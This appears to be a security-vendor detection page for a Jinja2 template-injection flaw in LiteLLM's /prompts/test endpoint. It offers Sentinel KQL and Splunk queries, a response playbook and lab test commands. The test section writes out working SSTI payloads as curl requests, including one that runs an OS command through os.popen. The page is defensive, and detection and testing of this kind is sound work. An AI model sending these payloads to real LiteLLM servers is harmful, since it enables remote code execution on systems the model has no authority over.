CVE-2026-37004 Microsoft Sentinel · KQL

Detect LiteLLM SSTI RCE via /prompts/test Endpoint (CVE-2026-37004) in Microsoft Sentinel

Detects exploitation attempts against CVE-2026-37004, a server-side template injection (SSTI) vulnerability in LiteLLM's /prompts/test endpoint in versions prior to 1.83.7. The endpoint renders user-supplied prompt templates through Jinja2 without sandboxing, allowing an authenticated (or, in default deployments, unauthenticated) attacker to inject template expressions that reach Python object internals and achieve remote code execution. Detection focuses on HTTP POST requests to /prompts/test containing Jinja2 SSTI payload primitives (e.g. {{7*7}}, __class__, __mro__, __subclasses__, __globals__, __builtins__, cycler, lipsum, self.__init__), followed by anomalous child process spawns from the LiteLLM/Python proxy process.

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
let ssti_patterns = dynamic(["{{","__class__","__mro__","__subclasses__","__globals__","__builtins__","__import__","cycler","lipsum","self.__init__","config.__class__","request.application"]);
let susp = W3CIISLog
| where csUriStem endswith "/prompts/test" or csUriStem contains "/prompts/test"
| where csMethod == "POST"
| extend body = tostring(csUriQuery)
| where ssti_patterns has_any (body) or csUriQuery has_any (ssti_patterns);
susp
| project TimeGenerated, cIP, csUriStem, csMethod, scStatus, sSiteName, body
| order by TimeGenerated desc
critical severity medium confidence

Flags POST requests to the LiteLLM /prompts/test endpoint carrying Jinja2 SSTI primitives. Because LiteLLM proxy is often fronted by a reverse proxy, also review NGINX/App Gateway logs ingested to Sentinel.

Data Sources

W3CIISLogWeb proxy / reverse proxy access logsAGWAccessLogs

Required Tables

W3CIISLog

False Positives & Tuning

  • Legitimate prompt engineers testing templates that intentionally contain Jinja2 syntax such as {{ variable }} for supported prompt variables.
  • Security scanners and internal vulnerability assessment tools probing the endpoint during authorized testing.
  • Automated CI/CD prompt validation jobs submitting templated prompts to the test endpoint.

Other platforms for CVE-2026-37004


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Jinja2 SSTI arithmetic probe against /prompts/test

    Expected signal: Web/proxy log entry: POST /prompts/test with body containing {{7*7}}; response reflecting 49 if vulnerable.

  2. Test 2Object-traversal SSTI payload

    Expected signal: Proxy log shows POST /prompts/test containing __class__ and __subclasses__ tokens.

  3. Test 3SSTI reaching OS command execution

    Expected signal: Proxy log entry with __globals__/__builtins__/__import__ payload AND a ProcessRollup showing sh -c id spawned by python/uvicorn.


Response Playbook

Triage

  1. Confirm the targeted host runs LiteLLM proxy and identify its version; anything < 1.83.7 is vulnerable to CVE-2026-37004.
  2. Extract the full request body sent to /prompts/test and determine whether it contains a Jinja2 SSTI payload (e.g. {{7*7}}, __class__, __subclasses__, __globals__) versus a benign templated prompt.
  3. Check the HTTP response status and size for the flagged request — a 200 with reflected computed output (e.g. '49' for {{7*7}}) indicates successful template evaluation.
  4. Determine whether the request was authenticated (valid virtual key/master key) and from what source IP, correlating against expected prompt-testing users.

Containment

  1. Upgrade LiteLLM to v1.83.7 (or later) which patches the SSTI in the prompt test endpoint; if immediate patching is impossible, block or disable the /prompts/test route at the reverse proxy/WAF.
  2. Restrict network access to the LiteLLM proxy admin/management endpoints and rotate the LiteLLM master key and any exposed virtual keys.
  3. Isolate the affected host if a child process or reverse shell was spawned by the Python/ASGI process.

Evidence Collection

  1. Preserve reverse proxy and LiteLLM application access logs covering the /prompts/test requests, including full request bodies and response codes.
  2. Capture the process tree and command lines of any children spawned by the litellm/python/gunicorn/uvicorn process, plus network connections around the event time.
  3. Snapshot the host memory and relevant filesystem timestamps if code execution is suspected, and collect any dropped files or persistence artifacts.

Escalation Criteria

  • !Escalate to incident response if a non-template child process (shell, curl, wget, nc, python spawning /bin/sh) was launched by the LiteLLM process, indicating RCE.
  • !Escalate if the LiteLLM proxy is internet-exposed and unauthenticated access to /prompts/test is confirmed, or if master/virtual keys or backend LLM provider credentials may be compromised.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Reverse proxy and LiteLLM access log entries for POST /prompts/test with SSTI primitives and their response codes.
  • >Process creation records showing children of python/gunicorn/uvicorn/litellm around the request time.
  • >Outbound network connections from the LiteLLM host (reverse shell / egress) and any files written to the working directory or /tmp.

Tuning Guidance

Baseline which users/service accounts legitimately call /prompts/test with Jinja2 templates and allowlist their source IPs or API keys to cut noise. Tighten from broad '{{' matching to object-traversal primitives (__class__, __subclasses__, __globals__, __builtins__, cycler, lipsum) once benign templating volume is understood, and prioritize alerts where the SSTI POST is followed by a child process from the proxy interpreter (high-confidence RCE).


Hunting Queries

Hunts for repeated SSTI probing of the /prompts/test endpoint grouped by source IP and response status to distinguish scanning from successful exploitation.

Hunting — KQL
kql
W3CIISLog | where csUriStem contains "/prompts/test" and csMethod == "POST" | where csUriQuery has_any ("__class__","__subclasses__","__globals__","__builtins__","cycler","lipsum") | summarize count() by cIP, scStatus, bin(TimeGenerated, 1h)
Hunting — SPL
spl
index=web uri_path="*/prompts/test*" method=POST | eval p=coalesce(request_body,uri_query,_raw) | where match(p,"(?i)(__class__|__subclasses__|__globals__|__builtins__|cycler|lipsum)") | stats count by src_ip, status

Atomic Red Team Tests

Test 1 Jinja2 SSTI arithmetic probe against /prompts/test
linux

Sends a benign SSTI arithmetic payload to detect whether the endpoint evaluates template expressions (safe reconnaissance-style probe).

Command

bash
curl -s -X POST http://litellm.lab.local:4000/prompts/test -H 'Authorization: Bearer sk-lab-key' -H 'Content-Type: application/json' -d '{"prompt":"{{7*7}}","variables":{}}'

Cleanup

bash
echo 'No cleanup required; read-only probe'

Expected Telemetry

Web/proxy log entry: POST /prompts/test with body containing {{7*7}}; response reflecting 49 if vulnerable.

Expected Detection

KQL/SPL/QRadar/Sumo/Chronicle rules match the {{ primitive in the request body to /prompts/test.

Test 2 Object-traversal SSTI payload
linux

Submits a Jinja2 object-traversal payload enumerating class internals to reach the subprocess module.

Command

bash
curl -s -X POST http://litellm.lab.local:4000/prompts/test -H 'Authorization: Bearer sk-lab-key' -H 'Content-Type: application/json' -d '{"prompt":"{{ ().__class__.__base__.__subclasses__() }}","variables":{}}'

Cleanup

bash
echo 'No cleanup required'

Expected Telemetry

Proxy log shows POST /prompts/test containing __class__ and __subclasses__ tokens.

Expected Detection

All web-log rules match __class__/__subclasses__ primitives; no child process, so EDR sequence rules do not fire.

Test 3 SSTI reaching OS command execution
linux

Full exploitation payload invoking os.popen through Jinja2 to run 'id', producing a child process from the LiteLLM interpreter.

Command

bash
curl -s -X POST http://litellm.lab.local:4000/prompts/test -H 'Authorization: Bearer sk-lab-key' -H 'Content-Type: application/json' -d '{"prompt":"{{ self.__init__.__globals__.__builtins__.__import__(\"os\").popen(\"id\").read() }}","variables":{}}'

Cleanup

bash
echo 'No cleanup required; command only ran id'

Expected Telemetry

Proxy log entry with __globals__/__builtins__/__import__ payload AND a ProcessRollup showing sh -c id spawned by python/uvicorn.

Expected Detection

Web-log rules match the SSTI primitives; Elastic EQL and CrowdStrike CQL correlation rules fire on the child process spawned by the LiteLLM process.

Related Detections